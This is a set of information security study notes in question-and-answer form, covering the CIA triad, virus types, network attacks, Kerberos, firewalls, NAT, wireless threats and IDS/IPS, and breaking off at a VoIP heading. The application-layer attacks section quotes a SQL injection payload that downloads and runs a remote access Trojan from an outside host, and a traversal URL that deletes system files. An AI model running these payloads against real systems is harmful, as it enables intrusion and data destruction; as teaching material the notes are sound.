UNIT 1: Basics of Information Security

1. Why is information security important for organizations?

Organizations classify information in different ways in order to differently manage aspects of its handling, such as labeling (whether headers, footers, and watermarks specify how it should be handled), distribution (who gets to see it), duplication (how copies are made and handled), release (how it is provided to outsiders), storage (where it is kept), encryption (if required), disposal (whether it is shredded or strongly wiped), and methods of transmission (such as e-mail, fax, print, and mail)

Information intended for internal use only is usually meant to be seen by employees, contractors, and service providers, but not by the general public. For eg: internal memos, correspondence, general e-mail and instant message discussions, company announcements, meeting requests, and general presentation materials. This type of information is typically the least restricted—because spending a lot of time and money on protecting it doesn't outweigh the value of the information or the risk of its disclosure.

Companies may have confidential information, such as research and development plans, manufacturing processes, strategic corporate information, product roadmaps, process descriptions, customer lists and contact information, financial forecasts, and earnings announcements, that is intended for internal use on a need-to-know basis

Specialized information or secret information may include trade secrets, such as formulas, production details, and other intellectual property, proprietary methodologies and practices that describe how services are provided, research plans, electronic codes, passwords, and encryption keys. If disclosed, this type of information may severely damage the company's competitive advantage. It is usually restricted to only a few people or departments within a company and is rarely disclosed outside the company.

The field of security is concerned with protecting assets in general. Information security is concerned with protecting information in all its forms, whether written, spoken, electronic, graphical, or using other methods of communication. Network security is concerned with protecting data, hardware, and software on a computer network. The various branches of security are related to each other, to a greater or lesser extent.

2. Explain the CIA triad in simple terms.

CIA Triad: It is a well-established conceptual model, often useful in helping people think about

security in terms of the most important aspects of information protection. It focuses on three aspects of information protection that indeed are important.

Confidentiality (CIA Triad)

Refers to the restriction of access to data only to those who are authorized to use it. That is - a single set of data is accessible to one or more authorized people or systems, and nobody else can see it. Confidentiality is distinguishable from privacy in the sense that “confidential” implies access to one set of data by many sources, while “private” usually means the data is accessible only to a single source. For eg: a password is considered private because only one person should know it, while a patient record is considered confidential because multiple members of the patient’s medical staff are allowed to see it.

Integrity (CIA Triad)

Integrity, which is particularly relevant to data, refers to the assurance that the data has not been altered in an unauthorized way. Integrity controls are meant to ensure that a set of data can’t be modified (or deleted entirely) by an unauthorized party. Goal of integrity controls is to block the ability of unauthorized people to make changes to data, and to provide a means of restoring data back to a known good state (as in backups).

Availability (CIA Triad)

Confidentiality and integrity, make the most sense in the context of the data contained within computer systems. Availability refers to the “uptime” of computer-based services—the assurance that the service will be available when it’s needed. Service availability is usually protected by implementing high-availability (or continuous-service) controls on computers, networks, and storage. High-availability (HA) pairs or clusters of computers, redundant network links, and RAID disks are examples of mechanisms to protect availability.

3. What are the Three Ds of security?

3 Ds of Security – Defense, Detection, Deterrence

Defense:

Defense is the desire to protect ourselves (information in this case). It reduces compromise of valuable assets, thereby lowering risk and potentially saving the expense of incidents that otherwise might not be avoided. If we don’t use defense, then it leaves valuable assets exposed, inviting higher costs due to damage and loss. Defensive controls on the network can include access

control devices such as stateful firewalls, network access control, spam and malware filtering, web content filtering, and change control processes. These controls provide protection from software vulnerabilities, bugs, attack scripts, ethical and policy violations, accidental data damage, and such.

Detection

Detection is knowing about a security breach / incident. Without adequate detection, a security breach may go unnoticed for hours, days, or even forever. With the help of detective controls such as video surveillance cameras in local stores / house, motion sensors, and house / car alarm systems that alert passers-by of an attempted violation of a security perimeter. (For network) audit trails and log files, system and network intrusion detection and prevention systems, and security information and event management (SIEM) alerts, reports, and dashboards. A security operations center (SOC) can be used to monitor these controls.

Deterrence

Deterrence is an effective method to reduce the frequency of security compromises, and thereby the total loss due to security incidents. Deterrent controls for employees, such as threats of discipline and termination for violations of policy. Deterrent controls include communication programs to employees about acceptable usage and security policies, monitoring of web browsing behavior, training programs to acquaint employees with acceptable usage of company computer systems, and employee signatures on agreements indicating that they understand and will comply with security policies. With the use of deterrent controls such as these, attackers may decide not to cause damage.

4. Define a computer virus and list its types.

Virus (variant of malicious mobile code)

A virus is a self-replicating program that uses other host files or code to replicate. Most viruses infect files so that every time the host file is executed, the virus is executed too. A virus infection is simply another way of saying the virus made a copy of itself (replicated) and placed its code in the host in such a way that it will always be executed when the host is executed. Viruses can infect program files, boot sectors, hard drive partition tables, data files, memory, macro routines, and scripting files

Types of Viruses

Non-Resident Viruses: The virus executes, does its damage, and terminates until the next time it is executed. These types of viruses are easier for novice malicious coders to write. Eg: may look for

and infect five EXE files on the hard disk and then terminate until the next time an infected file is executed.

Memory-Resident Viruses: The virus stays in memory after it is executed. Insert themselves as part of the operating system or application and can manipulate any file that is executed, copied, moved, or listed. Known to disinfect files on the fly, while they are being inspected by antivirus scanners, and then reinfect the files after the scanner has given them a clean bill of health.

Stealth Viruses: Memory-resident viruses are also able to manipulate the operating system in order to hide from administrators and inspection tools

Over-writing Viruses: The virus overwrites the host code with its own code, effectively destroying much of the original contents.

Parasitic Viruses: The virus inserts itself into the host code, moving the original code around so the host programming still remains and is executed after the virus code

Prepending, Appending, Mid-Infecting Viruses: The Viruses that copy themselves to the beginning of the file are called prepending viruses. Viruses placing themselves at the end of a file are called appending viruses. Viruses appearing in the middle of a host file are labeled midinfecting.

5. What are application layer attacks? Give examples.

Application Layer Attacks: Include any exploit directed at the applications running on top of the OSI protocol stack. Include exploits directed at application programs, as well as against operating systems. Include content attacks, buffer overflows, and password-cracking attempts.

Content Attacks: Content and buffer overflow attacks are the most popular attacker method. The attacker learns which applications are running on a particular server and then sends content to exploit a known hole.

Common content attacks include the following:

• SQL injection attacks

An attacker connects to a web site with a SQL server back-end database. The web site contains a customer input form asking for some sort of innocent information, such as shirt size. But instead of entering a numeric value, as the web site is expecting, the attacker enters a malformed command that is misinterpreted by the server and that leads to the remote execution of a privileged command. For eg: SQL injection code attempts to copy a remote access Trojan, called rat.exe, from a web site called freehost.com. The second statement

executes the Trojan:

'; exec master..xp_cmdshell 'tftp –i freehost.com GET rat.exe'--

'; exec master..xp_cmdshell 'rat.exe'--

If successful, a remote access Trojan would now be running on the web or SQL server, which would allow the attacker complete access. Microsoft, Oracle and MySQL all are exploitable

• Unauthorized access of network shares: Results from a major flaw in Windows, which is that, by default, network shares are advertised for the world to see on NetBIOS ports 137 through 139, and port 445 (in newer Windows versions). If you have a Windows PC connected to the Internet without a firewall blocking access to those ports, it is likely that your PC's network shares are viewable by the world. If the Windows system is unpatched, or the shares have weak passwords or no passwords, then remote attackers will be able to access shares. Although exploiting open Windows shares is a common worm action, if attackers detect open NetBIOS ports, they will attempt to access the shares manually.

• File-system transversals: Happen when an attacker is able to malform an application input request in such a way that unauthorized access to a protected directory or command is allowed. Usually this is done by using encoded character schemes, numerous backslashes (\), and periods. The following code example could be used on a vulnerable IIS web site to delete all files in the Windows system directory:

http://host/index.asp?something=..\..\..\..\WINNT\system32\cmd.exe?/c+DEL./q

6. What are manual attacks? Give examples.

Physical Attacks: In today's world of interconnectedness, the least popular means of attack is direct physical access, but if an attacker can physically access a computer, it's game over. They literally can do anything, including physically damage the computer, steal passwords, plant keystroke logging Trojans, and steal data. It means that physical security is a necessity. Also, it is often those we trust that break our security.

Packet Sniffing: Encryption is used to prevent packet-sniffing (also known as packet capturing or protocol analysing) attacks. Sniffing occurs when an unauthorized third party captures network packets destined for computers other than their own. Packet sniffing allows the attacker to look at transmitted content and may reveal passwords and confidential data. In order to use sniffing software, an attacker must have a promiscuous network card and specialized packet driver software, must be connected to the network segment they want to sniff, and must use sniffer

software.

Buffer Overflows: Occur when a program expecting input does not do input validation. For eg: suppose the program was expecting the user to type in a five-digit ZIP code, but instead the attacker replies with 400 characters. The result makes the host program error out and quit, throwing excess data into the CPU. If the buffer overflow attacker can reliably predict where in memory his buffer overflow data is going, the buffer overflow can be used to completely compromise the host.

Man-In- the-Middle Attacks: a valid and extremely successful threat vector. Exploitation often requires knowledge of multiple tools and physical access to the network or proximity to an access point.

An MITM attack can take a few different forms:

• ARP, DHCP, DNS, and ICMP poisoning

• the use of a malicious wireless access point (AP) -- clients automatically connect to known SSIDs. This enables an attacker to connect and intercept the victim's network traffic without the victim seeing any indication they are under attack. To hasten a connection, attacks against the legitimate AP can be made to help the malicious AP become the last AP standing.

7. List best practices for network security.

Best Practices for Defense

1. Secure the Physical Environment

a. Password protect booting

b. Password protect CMOS

c. Disable booting from USB & CD

2. Harden the OS: To reduce the attack surface of the operating system by removing unnecessary software, disabling unneeded services, and locking down access

3. Keep patches updated

4. Use Antivirus scanner: It should be deployed on the computer, with forced, automatic updates, and it should be enabled for real-time protection.

5. Use Firewall software

6. Secure Network share permissions: Folders and files accessed remotely over the network should have discretionary ACLs (DACLs) applied using the principle of least privilege and should have complex passwords

7. Use Encryption: Administrators should use SSH instead of Telnet or FTP to manage their computers

8. Secure Applications: Applications can be managed by configuring application security, installing applications to nonstandard directories and ports, locking down applications, securing P2P services, and making sure your application programmers code securely

a. Securely configure applications

b. Securing email

c. Blocking dangerous file types

d. Blocking outlook file attachments

e. Install Applications to Nonstandard Directories and Ports

f. Lock Down Applications

g. Secure P2P Services

9. Backup the System

10. Implement ARP Poisoning defence: Defences include implementing static ARP tables, configuring port rate limiting, or using DHCP snooping with dynamic ARP inspection (DAI)

a. Create computer security defence plan

b. Implement static ARP tables

c. Configure port late limiting

d. Use DHCP Snooping and Dynamic ARP Inspection

e. Combine PRL and DAI for the Most Effective Defence

UNIT 2: Authentication & Database Security

1. Differentiate between authentication and authorization.

Basis	**Authentication**	**Authorization**
Definition	**Process of verifying the identity of a user or system**	**Process of determining access rights or permissions**
Purpose	**Ensures the user is genuine**	**Ensures the user can access only allowed resources**
Key Question	**“Who are you?”**	**“What can you do?”**
Process Order	**First step in security process**	**Second step after authentication**

Method Used	**Username, password, OTP, biometrics**	**Roles, permissions, access control policies**
Focus	**Identity verification**	**Access control**
Failure Result	**Access is completely denied**	**Limited or no access to resources**
Example	**Logging into a system using credentials**	**Accessing files based on user role (admin/user)**
Dependency	**Independent process**	**Depends on authentication**

2. What is role-based access control (RBAC)?

Role-Based Authorization (RBAC)

Each job within a company has a role to play. Each employee requires privileges (the right to do something)

and permissions (the right to access particular resources and do specified things with them) if they are to do their job.

Early designers of computer systems recognized that the needs of possible users of systems would vary, and

that not all users should be given the right to administer the system.

Access Control Lists (ACLs)

 Attendance at some social events is limited to invitees only. To ensure that only invited guests are

welcomed to the party, a list of authorized individuals may be provided to those who permit the guests in.

 If you arrive, the name you provide is checked against this list, and entry is granted or denied.

 Information systems may also use ACLs to determine whether the requested service or resource is

authorized. Access to files on a server is often controlled by information that is maintained on each file.

File-Access Permissions

 Both Windows and Unix systems use file permissions to manage access to files. It is only when you

require interoperability that problems arise in ensuring that proper authorization is maintained across

platforms.

3. Explain Kerberos authentication (basic idea).

Kerberos

 Kerberos is a network authentication system based on the use of tickets. In the Kerberos passwords are key to the system, but in some systems certificates may be used instead.

 Kerberos is a complex protocol developed at the Massachusetts Institute of Technology(MIT) to provide authentication in a hostile network. It is designed into various facilities that attempt to deal with common attacks on authentication systems.

 The Kerberos authentication process followsthese steps:

1. A user enters their password.

2. Data about the client and possibly an authenticator is sent to the server. The authenticator is the result of using the password to encrypt a timestamp (the clock time on the client computer). This authenticator and a plaintext copy of the timestamp accompany a login request, which is sent to the Kerberos authentication server (AS)—this is the KRB_AS_REQ message. This is known as pre-authentication.

3. The KDC checks the timestamp from the workstation against its own time. The difference must be no more than the authorized time skew (which is five minutes, by default). If the time difference is greater, the request is rejected.

4. The KDC, since it maintains a copy of the user's password, can use the password to encrypt the plaintext copy of the timestamp and compare the result to the authenticator. If the results match, the user is authenticated, and a ticket-granting ticket (TGT) is returned to the client—this is the KRB_AS_REP message.

5. The client sends the TGT to the KDC with a request for the use of a specific resource, and it includes a fresh authenticator. The request might be for resources local to the client computer or for network resources. This is the KRB_TGS_REQ message, and it is handled by the TGS.

6. The KDC validates the authenticator and examines the TGT. It originally signed the TGT by encrypting a portion of the TGT using its own credentials, it can verify that the TGT is one of its own. Since a valid authenticator is present, the TGT is also less likely to be a replay.

7. If all is well, the KDC issues a service ticket for the requested resource—this is the KRB_TGS_REP message. Part of the ticket is encrypted using the credentials of the service and part of the ticket is encrypted with the credentials of the client.

8. The client can decrypt its part of the ticket and thus knows what resource it may use. The client sends the ticket to the resource computer along with a fresh authenticator.

9. The resource computer (the client) validates the timestamp by checking whether the time is within the valid period, and then decrypts its portion of the ticket. This tells the computer which resource is requested and provides proof that the client has been authenticated. The resource computer (the client) then uses an authorization process to determine whether the user is allowed to access the resource. In addition to the authenticator and the use of computer passwords to encrypt ticket data, other Kerberos controls can be used. Tickets can be reused, but they are given an expiration date. Expired tickets can possibly be renewed, but the number of renewals can also be controlled.

4. What is public key cryptography?

Public Key Cryptography

 This algorithm is asymmetric—it uses a set of related keys. If one key is used to encrypt the message, the other is used to decrypt it, and vice versa. This means that if each party holds one of the keys.

 Session key can be securely exchanged. Each party has their own set of these asymmetric keys. One of the key pairs is known as the private key and the other as the public key. Public keys are exchanged and private keys are kept secret.

 Public key is meant to be shared openly. It is used to create digital signatures. These algorithms traditionally use very large keys, and while you could use public key cryptography to encrypt whole messages or blocks of data on a disk, the process is remarkably slow compared to symmetric-key cryptography.

 Microsoft released an update for its operating systems in August 2012 to block the use of any RSA keys less than 1024 bits in length.

Key Exchange

 Public/private key pairs can be used to exchange session keys. The public keys are either exchanged among the parties or kept in a database. The private keys are kept secret. When it is necessary to exchange a key, one party can encrypt it using the public key of the other. The encrypted key is then transmitted to the other party. Since only the intended recipient holds the private key that is related to the public key used to encrypt the session key, only that party can decrypt the session key.

5. What is database security?

Database security refers to protecting databases from unauthorized access, misuse, or data loss.

Points:

1. Protects data from unauthorized users
2. Uses authentication mechanisms
3. Implements access control policies
4. Applies encryption to sensitive data
5. Maintains data integrity
6. Prevents data theft and leaks
7. Uses firewalls for protection
8. Performs regular security audits
9. Implements backup and recovery methods
10. Ensures availability of data to authorized users

6. Why are backups important in databases?

Backups are copies of database data stored to recover information in case of failure.

Points:

1. Protects against data loss
2. Helps recover from system crashes
3. Restores data after cyberattacks
4. Prevents loss due to human errors
5. Ensures business continuity
6. Supports disaster recovery plans
7. Protects against hardware failure
8. Allows rollback to previous state
9. Maintains data availability
10. Helps meet legal and compliance requirements

7. What is encryption?

Encryption is the process of converting readable data into unreadable form to protect it.

Points:

1. Converts plaintext into ciphertext
2. Protects confidential information
3. Uses encryption algorithms
4. Requires keys for encryption and decryption
5. Prevents unauthorized access
6. Used in network communication
7. Protects stored database data
8. Ensures data confidentiality
9. Used in secure transactions
10. Helps in compliance with security standards

8. What are confidentiality risks?

Confidentiality risks are threats that expose sensitive information to unauthorized users.

Points:

1. Unauthorized data access
2. Weak passwords
3. Insider threats
4. Malware attacks
5. Phishing attacks
6. Data leakage
7. Unencrypted data transmission
8. Poor access control
9. Lost or stolen devices
10. Misconfigured databases

UNIT 3: Network & Wireless Security

1. What is the TCP/IP model?

The TCP/IP model is a **network architecture model** used for communication over the internet. It defines how data is transmitted between devices.

Points:

1. TCP/IP stands for **Transmission Control Protocol / Internet Protocol**
2. It is the **standard model used in the Internet**
3. It consists of **four layers**
4. **Application Layer** → Provides services like email, web browsing
5. **Transport Layer** → Ensures reliable data transmission (TCP/UDP)
6. **Internet Layer** → Handles addressing and routing of data
7. **Network Access Layer** → Deals with physical transmission of data
8. It supports **end-to-end communication** between systems
9. It is **flexible and scalable** for large networks
10. It forms the **foundation of modern networking systems**

2. Explain the role of switches and routers.

Switches and routers are important networking devices used for communication and data transfer in networks.

Points:

1. A **switch** is used to connect multiple devices within a **local area network (LAN)**
2. It operates at the **data link layer** of the network
3. A switch uses **MAC addresses** to forward data to the correct device
4. It reduces network congestion by sending data only to the intended device
5. Switches improve network efficiency and performance
6. A **router** is used to connect **different networks** (e.g., LAN to Internet)
7. It operates at the **network layer**
8. A router uses **IP addresses** to route data between networks
9. It determines the **best path** for data transmission
10. Routers provide additional features like **NAT, security, and traffic management**

3. What is a firewall?

A firewall is a **network security device or software** that monitors and controls incoming and outgoing network traffic based on predefined security rules.

Points:

1. A firewall acts as a **barrier between trusted and untrusted networks**
2. It is used to **prevent unauthorized access** to systems
3. It monitors both **incoming and outgoing traffic**
4. It works based on **security rules and policies**
5. Firewalls can be **hardware-based or software-based**
6. It filters traffic using **IP addresses, ports, and protocols**
7. It helps protect against **malware and cyber attacks**
8. Common types include **packet filtering, stateful, and proxy firewalls**
9. It can block suspicious or harmful traffic
10. It is an essential component of **network security systems**

4. What are the main functions of a firewall?

A firewall performs several important functions to protect networks and systems from unauthorized access and cyber threats.

Points:

1. **Traffic Filtering** – Monitors and filters incoming and outgoing network traffic
2. **Access Control** – Allows or denies access based on predefined security rules

3. **Packet Inspection** – Examines data packets for suspicious content
4. **Stateful Inspection** – Tracks active connections and allows valid sessions
5. **Blocking Unauthorized Access** – Prevents hackers from entering the network
6. **Port and Protocol Control** – Controls traffic based on ports and protocols
7. **Logging and Monitoring** – Records network activity for analysis and auditing
8. **Prevention of Attacks** – Protects against malware, DoS attacks, and intrusions
9. **Network Address Translation (NAT)** – Hides internal IP addresses for security
10. **Alert Generation** – Sends alerts when suspicious activities are detected

5. What is NAT?

NAT stands for **Network Address Translation**. It is a core function of firewalls and routers that allows multiple devices on a private local network to share a single public IP address when communicating with the internet.

How NAT Works

When a device (like a laptop) on a local network requests data from a web server, the NAT device (usually a router or firewall) performs the following steps:

1. **Intercepts the request:** It catches the outgoing data packet.
2. **Translates the address:** it changes the outgoing "private" local IP address of the device to the router's "public" IP address.
3. **Routes the response:** When the information returns from the web, the NAT device uses its internal tables to pass the data back to the specific laptop that requested it.

Types of NAT

According to the study material, there are three primary types of NAT:

- **Static NAT:** This type maps a local address to a specific public address consistently. Every time the translation occurs, the same public IP address is chosen, creating a permanent association for that device.
- **Dynamic NAT:** Instead of a fixed mapping, the device chooses an IP address from a "pool" of available public addresses. This means a device might get a different public address each time it communicates externally.
- **PAT (Port Address Translation):** A form of dynamic NAT that allows an entire organization to use just one public IP address for all its employees. It distinguishes between different internal users by assigning them unique port numbers.

Benefits and Purpose

- **IP Conservation:** It helps deal with the shortage of public IPv4 addresses by allowing many private devices to share one public address.

- **Security:** By hiding internal private IP addresses from the public internet, NAT adds a layer of privacy and protection.
- **Performance:** While it adds a small amount of processing overhead, it is a standard practice for managing network traffic efficiently.

6. Define network hardening.

Network hardening is the process of securing a network by reducing its "attack surface"—the sum of all points where an unauthorized user can try to enter or extract data. It involves closing vulnerabilities and implementing various security controls to make the system more resilient against attacks.

Based on the study materials, the primary steps and concepts of network hardening include:

1. Hardening the Operating System (OS)

The first line of defense is securing the systems running on the network. This includes:

- **Removing Unnecessary Software:** Deleting any applications, protocols, or services that are not required for the system's specific role.
- **Disabling Unneeded Services:** Turning off features like "File and Printer Sharing" or guest accounts if they are not being used.
- **Patch Management:** Regularly updating the OS and applications with the latest security fixes to close known exploits.

2. Controlling Network Access

Restricting who and what can communicate on the network:

- **Principle of Least Privilege:** Setting permissions so that users and applications only have access to the specific files and resources they need to perform their jobs.
- **MAC Filtering:** Restricting network access to specific physical devices by their unique MAC addresses.
- **Securing Network Shares:** Ensuring that shared folders are not wide open to everyone on the network.

3. Implementing Technical Controls

Using hardware and software tools to monitor and filter traffic:

- **Firewalls:** Deploying and properly configuring firewalls to block unauthorized incoming and outgoing traffic.
- **Antivirus and Anti-malware:** Ensuring real-time protection is active on all hosts.
- **Encryption:** Using secure communication protocols (like SSH or HTTPS) instead of insecure ones (like Telnet or HTTP) to protect data in transit.

4. Continuous Maintenance

Hardening is not a one-time event but an ongoing process. It requires:

- **Regular Auditing:** Reviewing logs and permissions to ensure security policies are still effective.
- **Password Policies:** Enforcing strong, unique passwords and using automated tools to detect weak or compromised credentials.
- **Backups:** Maintaining regular backups so that the network can be restored in the event of a successful breach or system failure.

7. What are wireless attacks?

wireless attacks are malicious activities directed at wireless networks (like Wi-Fi) and the devices connected to them. Because wireless signals travel through the air, they are often easier to intercept or manipulate compared to wired networks.

The primary wireless attacks described in your notes include:

1. Rogue Access Points

A **Rogue Access Point** is an unauthorized Wi-Fi access point installed on a network without the administrator's knowledge.

- **The Risk:** It can bypass security policies and allow attackers to intercept traffic or gain entry into a secure wired network.
- **Detection:** Organizations often use "triangulation" (using at least three sensors) to physically locate these unauthorized devices.

2. Man-In-The-Middle (MITM)

In a wireless MITM attack, an attacker positions themselves between a user and the legitimate access point.

- **How it works:** The attacker tricks the user's device into connecting to a "fake" network (sometimes called an **Evil Twin**).
- **The Result:** All data sent by the user passes through the attacker's machine, allowing them to steal passwords, session cookies, or sensitive information.

3. Jamming (Denial of Service)

Wireless jamming is a physical layer attack where the attacker floods the wireless frequency with "noise" or interference.

- **The Goal:** To disrupt the connection so that legitimate users cannot access the network. This is a form of Denial of Service (DoS).

4. Packet Sniffing

Since wireless signals are broadcast through the air, anyone with a wireless adapter and the right software can "listen" to the data packets being transmitted.

- **The Threat:** If the network is not encrypted (or uses weak encryption like WEP), the attacker can read the contents of the messages, including emails and login credentials.

5. War Driving / War Walking

This involves searching for wireless networks from a moving vehicle or on foot using a laptop or smartphone.

- **The Purpose:** Attackers look for "open" or poorly secured networks to exploit later.

6. Bluetooth Attacks

Wireless attacks aren't limited to Wi-Fi. They also include:

- **Bluejacking:** Sending unsolicited messages to Bluetooth-enabled devices.
- **Bluesnarfing:** The unauthorized access of information (like contacts or photos) from a wireless device through a Bluetooth connection.

8. Give examples of wireless network vulnerabilities.

wireless network vulnerabilities exist primarily because the medium (radio frequency) is open and difficult to physically contain.

Here are the specific examples of vulnerabilities identified in the text:

1. Unencrypted Management Frames

The most significant flaw in the **802.11 (Wi-Fi)** and **802.15 (Bluetooth)** standards is that management frames are sent in **clear text**.

- **The Flaw:** These frames are neither encrypted nor authenticated.
- **The Risk:** An attacker can analyze these frames to see network SSIDs, MAC addresses of connected hosts, and frequency patterns without even joining the network.

2. Signal Leakage

Wireless signals do not stop at physical walls. This is known as **"fuzzy" borders**.

- **The Flaw:** Radio frequency (RF) signals can bleed out into parking lots or neighboring buildings.
- **The Risk:** Anyone with a high-gain antenna can "sniff" the network traffic from a distance where the organization has no physical control.

3. Wired-Side Leakage

This occurs when the bridge between the wireless and wired network is not properly configured.

- **The Flaw:** Broadcast and multicast traffic from the secure wired LAN can "leak" into the wireless airspace.
- **The Risk:** Sensitive data intended only for the wired network becomes accessible to anyone in range of the Wi-Fi signal.

4. Clear-Text Device IDs (Bluetooth)

Every Bluetooth device has a unique 48-bit hardware address called a **BD_ADDR**.

- **The Flaw:** This ID is transmitted in clear text within management frames.
- **The Risk:** This allows attackers to track a specific device and its user's movements even if the device isn't actively paired with anything.

5. Weak Encryption Standards

While the document recommends **WPA2** as the current best solution, it notes that older or misconfigured protocols are vulnerable.

- **The Flaw:** Using outdated standards or failing to implement **Temporal Key Integrity Protocol (TKIP)** or **AES-based CCMP**.
- **The Risk:** Attackers can use automated tools to crack weak encryption keys and gain full access to the data stream.

6. Lack of Client Isolation

In many default configurations, wireless users on the same Access Point (AP) can "see" and communicate with each other.

- **The Flaw:** A lack of **Client Isolation** settings.
- **The Risk:** If one user's laptop is infected with a virus, it can easily spread to every other person currently connected to that same Wi-Fi hotspot.

9. What is WIDP?

WIDP stands for **Wireless Intrusion Detection and Prevention**. It is a security solution specifically designed to monitor the wireless radio spectrum for the presence of unauthorized access points (rogue APs) and other wireless security threats.

According to the study material, a WIDP system performs two primary functions:

1. Wireless Intrusion Detection (WID)

The system acts as an "alarm" for the wireless network. It uses sensors to scan the airwaves and identify:

- **Rogue Access Points:** Unauthorized devices plugged into the network.
- **Misconfigured Devices:** APs with weak encryption or open settings.
- **Attack Signatures:** Recognizing patterns of known wireless attacks like stumbling, spoofing, or DoS (Denial of Service) attacks.

2. Wireless Intrusion Prevention (WIP)

Beyond just detecting a threat, the system takes active steps to stop it. Common prevention methods include:

- **Termination:** Automatically disconnecting a client from a rogue access point.
- **Port Blocking:** If a rogue AP is detected on the wired side of the network, the WIDP can instruct the network switch to shut down that specific physical port.

- **Shielding:** Using techniques to interfere with the unauthorized connection so data cannot be transmitted.

Implementation and Localization

The notes highlight that WIDP systems often use **triangulation** to secure a physical space. By using at least **three sensors**, the system can calculate the exact physical location of an unauthorized device or an attacker, allowing security personnel to find and remove the hardware manually.

10. How can wireless networks be secured?

1. Use Strong Encryption and Authentication

- **Implement WPA2:** Use Wi-Fi Protected Access 2 (WPA2) as the standard for encryption. It is significantly more secure than the older WEP or WPA standards.
- **Enable AES-based CCMP:** Ensure the network uses Advanced Encryption Standard (AES) for data protection, which provides much stronger security than the older TKIP.
- **Use Strong Passwords:** Avoid default or simple passwords. Use complex keys that are difficult for brute-force tools to guess.

2. Configure Access Points (APs) Correctly

- **Enable Client Isolation:** This setting prevents wireless users from communicating directly with each other, which stops the spread of malware between devices on the same network.
- **MAC Address Filtering:** Create a "whitelist" of authorized devices. Only hardware with a registered MAC address will be allowed to connect to the network.
- **Disable SSID Broadcast:** While not a complete security solution, hiding the network name (SSID) makes it slightly harder for casual attackers to find the network.
- **Reduce Signal Leakage:** Adjust the power levels of your antennas so the wireless signal does not "bleed" too far outside the physical boundaries of the building.

3. Deploy Wireless Intrusion Detection/Prevention (WIDP)

- **Rogue AP Detection:** Use WIDP sensors to constantly scan for unauthorized access points that might have been plugged into the network.
- **Triangulation:** Use at least three sensors to physically locate any unauthorized wireless devices or attackers within the office space.
- **Automatic Termination:** Set the system to automatically disconnect unauthorized clients or block the network ports associated with a rogue device.

4. Secure the Network Architecture

- **Use Firewalls:** Place a firewall between the wireless access point and the main wired network to filter traffic and prevent "wired-side leakage."
- **Segment the Network:** Create a separate "Guest" network for visitors that is physically or logically isolated from the sensitive internal company data.

- **VPN (Virtual Private Network):** Encourage or require users to use a VPN when connecting over wireless, providing an extra layer of encryption for all data transmitted.

5. Protect Bluetooth Connections

- **Non-Discoverable Mode:** Set Bluetooth devices to "non-discoverable" so they cannot be seen by attackers performing "Bluejacking" or "Bluesnarfing."
- **Change Default PINs:** Always change the factory default pairing codes on Bluetooth-enabled hardware.

UNIT 4: IDS, IPS & Security Models

1. What is an Intrusion Detection System (IDS)?

An **Intrusion Detection System (IDS)** is a security tool designed to monitor and identify specific malicious traffic on a system or network. It acts as a digital surveillance system that looks for signs of unauthorized access, policy violations, or known cyber threats.

Core Concepts of IDS

- **Monitoring and Identification**: IDS is the process of watching for and identifying malicious activity. It can be compared to an antivirus scanner, which is a form of IDS that checks files for known malware.
- **Detection Areas**: Administrators use IDS and other security tools to look for inappropriate rights, altered permissions, malicious file manipulation, and unauthorized applications.
- **Operational Mechanism**: An IDS uses a packet-level network interface driver to intercept traffic. When it notices a potential threat (called an **event**), it logs the transaction and can take actions such as sending an alert or redirecting the attack.

Types of IDS

1. **Host-Based IDS (HIDS)**: Installed directly on a specific host, such as a server or workstation. It excels at monitoring application-layer interactions, memory modifications, and unauthorized file changes.
2. **Network-Based IDS (NIDS)**: The most popular type, NIDS captures and analyzes network packets "on the wire" to protect an entire group of hosts or a whole network. It requires network cards to be in **promiscuous mode** to read all traffic on a segment.

Detection Models

- **Anomaly-Detection (AD)**: Also known as behavior-based detection, this model creates a profile of "normal" activity and triggers an alert for anything that deviates from that baseline. It is effective at catching unknown ("zero-day") attacks.
- **Signature-Detection**: Also known as knowledge-based detection, this model uses a database of known bad patterns or "signatures" to identify threats. While very accurate at recognizing known exploits, it cannot identify new, unknown threats.

2. What is an Intrusion Prevention System (IPS)?

An **Intrusion Prevention System (IPS)** is an advanced security tool that not only detects malicious activity or policy violations but also takes active, automated steps to **stop** the attack in real-time.

While an IDS (Intrusion Detection System) is often compared to a security camera that records a break-in, an IPS is like a security guard who can physically block the door to stop the intruder.

How an IPS Works

An IPS is typically placed **in-line** (directly in the path of traffic). This allows it to analyze every packet before it reaches its destination. If a packet is identified as a threat, the IPS can perform several actions:

- **Drop the Packet:** It can simply discard the malicious data packet so it never reaches the target system.
- **Reset the Connection:** It can send a signal to both the sender and receiver to immediately terminate the network session.
- **Block the IP Address:** It can temporarily or permanently block all future traffic from the attacker's source IP address.
- **Reconfigure Other Devices:** It can automatically update firewall rules to prevent similar attacks from occurring.

Types of IPS

1. **Network-Based IPS (NIPS):** Monitors the entire network for suspicious traffic by analyzing protocol activity. It is usually deployed at the network perimeter or between departments.
2. **Host-Based IPS (HIPS):** Software installed on a single host (like a web server) that monitors and stops malicious activity happening within that specific computer, such as unauthorized system file changes.
3. **Wireless IPS (WIPS):** Specifically designed to monitor the radio spectrum for unauthorized access points or wireless-specific attacks and disconnect the offending devices.

Detection Methods

Just like an IDS, an IPS uses two main methods to identify threats:

- **Signature-Based:** Matches traffic against a database of known attack patterns.
- **Anomaly-Based:** Compares current traffic to a "normal" baseline and blocks anything that looks significantly different.

[Image comparing IDS and IPS deployment in a network]

Benefits and Risks

- **Benefit:** Provides proactive protection, reducing the "window of vulnerability" between the start of an attack and a manual response.

- **Risk:** If the IPS is configured too aggressively, it may produce "false positives," accidentally blocking legitimate business traffic and causing a self-inflicted denial of service.

3. Difference between IDS and IPS.

Feature	Intrusion Detection System (IDS)	Intrusion Prevention System (IPS)
Primary Goal	Detection and Alerting	Detection and Automatic Blocking
Action	Passive (Logs and Alerts)	Active (Blocks and Drops)
Placement	Out-of-band (uses a copy of traffic)	In-line (traffic flows through it)
Network Impact	No impact on network speed	Can cause latency or a single point of failure
Example	Security guard watching a monitor	Automated gate that stays locked to intruders

4. What is VoIP?

VoIP stands for **Voice over Internet Protocol**. It is a technology that allows you to make voice calls using a broadband Internet connection instead of a traditional (analog) phone line.

According to your study materials, VoIP is a significant part of modern secure network design because it treats voice communications as data packets traveling over the IP network.

How VoIP Works

1. **Digitization:** Your voice is converted from an analog signal into digital data packets.
2. **Transmission:** These packets are sent over the internet or a private local area network (LAN) using the TCP/IP protocol suite.
3. **Reconstruction:** At the receiving end, the packets are put back in the correct order and converted back into audio.

Security Challenges of VoIP

